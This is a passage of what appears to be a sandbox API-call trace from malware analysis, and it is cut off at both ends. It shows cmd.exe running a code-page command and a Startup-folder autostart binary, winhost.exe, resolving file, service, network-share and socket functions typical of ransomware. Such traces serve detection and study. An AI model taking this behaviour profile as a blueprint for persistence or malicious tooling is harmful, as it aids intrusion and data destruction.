(_String1="mode", _String2="START") returned -6 [0157.141] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0157.141] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0157.141] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0157.141] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0157.141] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0157.141] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0157.141] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0157.141] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0157.141] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0157.141] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0157.141] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0157.141] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0157.141] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0157.141] ??_V@YAXPEAX@Z () returned 0x1 [0157.141] GetProcessHeap () returned 0x215179b0000 [0157.141] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xffde) returned 0x215179b9c00 [0157.142] GetProcessHeap () returned 0x215179b0000 [0157.142] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x42) returned 0x215179b1700 [0157.142] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0157.142] malloc (_Size=0xffce) returned 0x21517bb0820 [0157.142] ??_V@YAXPEAX@Z () returned 0x21517bb0820 [0157.142] GetProcessHeap () returned 0x215179b0000 [0157.142] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x1ffac) returned 0x215179c9bf0 [0157.143] SetErrorMode (uMode=0x0) returned 0x0 [0157.143] SetErrorMode (uMode=0x1) returned 0x0 [0157.143] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x215179c9c00, lpFilePart=0x278cbaf1c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x278cbaf1c0*="Desktop") returned 0x17 [0157.144] SetErrorMode (uMode=0x0) returned 0x1 [0157.144] GetProcessHeap () returned 0x215179b0000 [0157.144] RtlReAllocateHeap (Heap=0x215179b0000, Flags=0x0, Ptr=0x215179c9bf0, Size=0x4a) returned 0x215179c9bf0 [0157.144] GetProcessHeap () returned 0x215179b0000 [0157.144] RtlSizeHeap (HeapHandle=0x215179b0000, Flags=0x0, MemoryPointer=0x215179c9bf0) returned 0x4a [0157.144] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0157.144] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0157.144] GetProcessHeap () returned 0x215179b0000 [0157.144] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x1bc) returned 0x215179b6b70 [0157.144] GetProcessHeap () returned 0x215179b0000 [0157.144] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x368) returned 0x215179b6d40 [0157.152] GetProcessHeap () returned 0x215179b0000 [0157.152] RtlReAllocateHeap (Heap=0x215179b0000, Flags=0x0, Ptr=0x215179b6d40, Size=0x1be) returned 0x215179b6d40 [0157.152] GetProcessHeap () returned 0x215179b0000 [0157.152] RtlSizeHeap (HeapHandle=0x215179b0000, Flags=0x0, MemoryPointer=0x215179b6d40) returned 0x1be [0157.152] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff743a8bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0157.152] GetProcessHeap () returned 0x215179b0000 [0157.152] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xfc) returned 0x215179b1750 [0157.154] GetProcessHeap () returned 0x215179b0000 [0157.154] RtlReAllocateHeap (Heap=0x215179b0000, Flags=0x0, Ptr=0x215179b1750, Size=0x88) returned 0x215179b1750 [0157.154] GetProcessHeap () returned 0x215179b0000 [0157.154] RtlSizeHeap (HeapHandle=0x215179b0000, Flags=0x0, MemoryPointer=0x215179b1750) returned 0x88 [0157.154] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0157.155] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x278cbaef30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x278cbaef30) returned 0xffffffffffffffff [0157.155] GetLastError () returned 0x2 [0157.155] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0157.155] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x278cbaef30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x278cbaef30) returned 0xffffffffffffffff [0157.157] GetLastError () returned 0x2 [0157.157] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0157.157] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x278cbaef30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x278cbaef30) returned 0x215179b17f0 [0157.157] GetProcessHeap () returned 0x215179b0000 [0157.157] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x0, Size=0x28) returned 0x215179b1850 [0157.157] FindClose (in: hFindFile=0x215179b17f0 | out: hFindFile=0x215179b17f0) returned 1 [0157.157] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x278cbaef30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x278cbaef30) returned 0x215179b17f0 [0157.158] GetProcessHeap () returned 0x215179b0000 [0157.158] RtlReAllocateHeap (Heap=0x215179b0000, Flags=0x0, Ptr=0x215179b1850, Size=0x8) returned 0x215179b1850 [0157.158] FindClose (in: hFindFile=0x215179b17f0 | out: hFindFile=0x215179b17f0) returned 1 [0157.158] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0157.158] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0157.158] ??_V@YAXPEAX@Z () returned 0x1 [0157.158] GetConsoleTitleW (in: lpConsoleTitle=0x278cbaf4b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0157.889] GetProcessHeap () returned 0x215179b0000 [0157.889] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x21c) returned 0x215179b6f10 [0157.889] GetConsoleTitleW (in: lpConsoleTitle=0x215179b6f20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0158.760] GetProcessHeap () returned 0x215179b0000 [0158.760] RtlReAllocateHeap (Heap=0x215179b0000, Flags=0x0, Ptr=0x215179b6f10, Size=0xaa) returned 0x215179b6f10 [0158.760] GetProcessHeap () returned 0x215179b0000 [0158.760] RtlSizeHeap (HeapHandle=0x215179b0000, Flags=0x0, MemoryPointer=0x215179b6f10) returned 0xaa [0158.760] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0159.480] GetProcessHeap () returned 0x215179b0000 [0159.480] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b6f10) returned 1 [0159.480] InitializeProcThreadAttributeList (in: lpAttributeList=0x278cbaf3d0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x278cbaf2c0 | out: lpAttributeList=0x278cbaf3d0, lpSize=0x278cbaf2c0) returned 1 [0159.480] UpdateProcThreadAttribute (in: lpAttributeList=0x278cbaf3d0, dwFlags=0x0, Attribute=0x60001, lpValue=0x278cbaf2ac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x278cbaf3d0, lpPreviousValue=0x0) returned 1 [0159.480] GetStartupInfoW (in: lpStartupInfo=0x278cbaf360 | out: lpStartupInfo=0x278cbaf360*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0159.480] GetProcessHeap () returned 0x215179b0000 [0159.480] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x20) returned 0x215179b17f0 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0159.480] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PSExecu", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="sfxcmd=", _MaxCount=0x7) returned -16 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="sfxname", _MaxCount=0x7) returned -16 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="sfxpar=", _MaxCount=0x7) returned -16 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="sfxstim", _MaxCount=0x7) returned -16 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0159.481] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0159.481] GetProcessHeap () returned 0x215179b0000 [0159.481] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b17f0) returned 1 [0159.481] GetProcessHeap () returned 0x215179b0000 [0159.481] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0x12) returned 0x215179b17f0 [0159.481] _get_osfhandle (_FileHandle=1) returned 0x254 [0159.481] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0159.481] _get_osfhandle (_FileHandle=0) returned 0x248 [0159.481] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0159.481] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x278cbaf2f0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x278cbaf2c8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x278cbaf2c8*(hProcess=0x9c, hThread=0x98, dwProcessId=0xf68, dwThreadId=0x12f4)) returned 1 [0160.208] CloseHandle (hObject=0x98) returned 1 [0160.208] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0160.208] GetProcessHeap () returned 0x215179b0000 [0160.208] RtlFreeHeap (HeapHandle=0x215179b0000, Flags=0x0, BaseAddress=0x215179b8f10) returned 1 [0160.208] GetEnvironmentStringsW () returned 0x215179b8f10* [0160.208] GetProcessHeap () returned 0x215179b0000 [0160.208] RtlAllocateHeap (HeapHandle=0x215179b0000, Flags=0x8, Size=0xce8) returned 0x215179c9c50 [0160.208] FreeEnvironmentStringsA (penv="=") returned 1 [0160.208] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7fff5d530000 [0160.209] GetProcAddress (hModule=0x7fff5d530000, lpProcName="NtQueryInformationProcess") returned 0x7fff5d5d56b0 [0160.209] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x278cbae7c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x278cbae7c8, ReturnLength=0x0) returned 0x0 [0160.209] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xb8aa966000, lpBuffer=0x278cbae800, nSize=0x7a0, lpNumberOfBytesRead=0x278cbae7c0 | out: lpBuffer=0x278cbae800*, lpNumberOfBytesRead=0x278cbae7c0*=0x7a0) returned 1 [0160.209] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 297 os_tid = 0x1228 Process: id = "19" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1b7f1000" os_pid = "0xaa0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x8b0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 282 os_tid = 0xf20 Thread: id = 283 os_tid = 0x1190 Thread: id = 284 os_tid = 0xf1c Thread: id = 295 os_tid = 0x1208 Thread: id = 296 os_tid = 0x1224 Process: id = "20" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x41c0000" os_pid = "0xf68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x8b0" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000116db" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 302 os_tid = 0x12f4 Thread: id = 305 os_tid = 0xe8c Process: id = "21" image_name = "winhost.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe" page_root = "0x3cdb4000" os_pid = "0xd00" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x938" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001095e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 308 os_tid = 0xd04 [0223.021] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x73f50000 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetProcAddress") returned 0x73f651b0 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetModuleHandleW") returned 0x73f650d0 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="FindNextFileW") returned 0x73fbee40 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="FindClose") returned 0x73fbed70 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="MoveFileW") returned 0x73f9e500 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetFileSizeEx") returned 0x73fbef40 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetModuleFileNameW") returned 0x73f65090 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetFileAttributesW") returned 0x73fbef10 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="ExitProcess") returned 0x73f63cb0 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetCommandLineW") returned 0x73f64cc0 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetComputerNameW") returned 0x73f932c0 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetComputerNameA") returned 0x73f93780 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="CreateMutexW") returned 0x73fbeb70 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="lstrlenW") returned 0x73f66c70 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="lstrlenA") returned 0x73f66c50 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetCurrentProcess") returned 0x73fbea10 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="WaitForSingleObject") returned 0x73fbeca0 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetLogicalDrives") returned 0x73f60d20 [0223.021] GetProcAddress (hModule=0x73f50000, lpProcName="GetTickCount") returned 0x73fbdd50 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="DeleteFileW") returned 0x73fbed40 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="WideCharToMultiByte") returned 0x73f66b10 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x73fbebb0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="Sleep") returned 0x73f66760 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="LeaveCriticalSection") returned 0x7704b250 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="ReadFile") returned 0x73fbf090 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="CreateFileW") returned 0x73fbed10 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="OpenMutexW") returned 0x73fbebf0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="EnterCriticalSection") returned 0x7704b2d0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="WaitForMultipleObjects") returned 0x73fbec80 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="lstrcmpiW") returned 0x73f66bf0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="lstrcmpiA") returned 0x73f66bd0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="DeleteCriticalSection") returned 0x7702fb90 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="ReleaseMutex") returned 0x73fbec20 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="CloseHandle") returned 0x73fbeab0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="GetVersion") returned 0x73f656c0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="CreateThread") returned 0x73f646b0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="ExpandEnvironmentStringsW") returned 0x73f64a40 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="QueryPerformanceCounter") returned 0x73f65da0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="QueryPerformanceFrequency") returned 0x73f65dc0 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="GetCurrentProcessId") returned 0x73fbea20 [0223.022] GetProcAddress (hModule=0x73f50000, lpProcName="SetFileAttributesW") returned 0x73fbf100 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="GetVolumeInformationW") returned 0x73fbf020 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="WriteFile") returned 0x73fbf180 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="SetFilePointerEx") returned 0x73fbf130 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="SetEndOfFile") returned 0x73fbf0e0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="FindFirstFileW") returned 0x73fbedf0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="GetProcessHeap") returned 0x73f651f0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="HeapReAlloc") returned 0x7703f630 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="HeapAlloc") returned 0x77042dc0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="HeapFree") returned 0x73f657f0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="CreatePipe") returned 0x73f64590 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="SetHandleInformation") returned 0x73fbeae0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="CreateProcessW") returned 0x73f64610 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="CompareStringW") returned 0x73f64430 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="CompareStringA") returned 0x73f64410 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="OpenProcess") returned 0x73f65cc0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="TerminateProcess") returned 0x73f667e0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="GetSystemTime") returned 0x73f654e0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="SystemTimeToFileTime") returned 0x73f667a0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="GetLastError") returned 0x73f65010 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="CreateToolhelp32Snapshot") returned 0x73f9edc0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="Process32NextW") returned 0x73f9f8f0 [0223.023] GetProcAddress (hModule=0x73f50000, lpProcName="Process32FirstW") returned 0x73f9f750 [0223.023] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74a40000 [0223.112] GetProcAddress (hModule=0x74a40000, lpProcName="RegOpenKeyExW") returned 0x74a5e580 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="RegQueryValueExW") returned 0x74a5e5a0 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="RegSetValueExW") returned 0x74a5f530 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="RegCloseKey") returned 0x74a5ed60 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="OpenProcessToken") returned 0x74a5efb0 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="GetTokenInformation") returned 0x74a5ee90 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="OpenSCManagerW") returned 0x74a60540 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="OpenServiceW") returned 0x74a5fa20 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="CloseServiceHandle") returned 0x74a5fc00 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="ControlService") returned 0x74a726d0 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="QueryServiceStatus") returned 0x74a62380 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="EnumDependentServicesW") returned 0x74a72f70 [0223.113] GetProcAddress (hModule=0x74a40000, lpProcName="EnumServicesStatusExW") returned 0x74a5fc80 [0223.113] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74020000 [0223.219] GetProcAddress (hModule=0x74020000, lpProcName="SystemParametersInfoW") returned 0x7404f210 [0223.219] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x758a0000 [0223.503] GetProcAddress (hModule=0x758a0000, lpProcName="ShellExecuteExW") returned 0x75a04730 [0223.504] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77000000 [0223.504] GetProcAddress (hModule=0x77000000, lpProcName="NtQuerySystemInformation") returned 0x77072070 [0223.504] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a00000 [0223.512] GetProcAddress (hModule=0x73a00000, lpProcName="WNetCloseEnum") returned 0x73a02640 [0223.513] GetProcAddress (hModule=0x73a00000, lpProcName="WNetOpenEnumW") returned 0x73a02790 [0223.513] GetProcAddress (hModule=0x73a00000, lpProcName="WNetEnumResourceW") returned 0x73a02410 [0223.513] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75470000 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="WSAStartup") returned 0x75475b40 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="socket") returned 0x75484510 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="send") returned 0x75475030 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="recv") returned 0x75480c50 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="connect") returned 0x75475410 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="closesocket") returned 0x75480910 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="gethostbyname") returned 0x754a6cb0 [0223.531] GetProcAddress (hModule=0x75470000, lpProcName="inet_addr") returned 0x75489160 [0223.531] GetProcAddress (hModule=0x75470000, 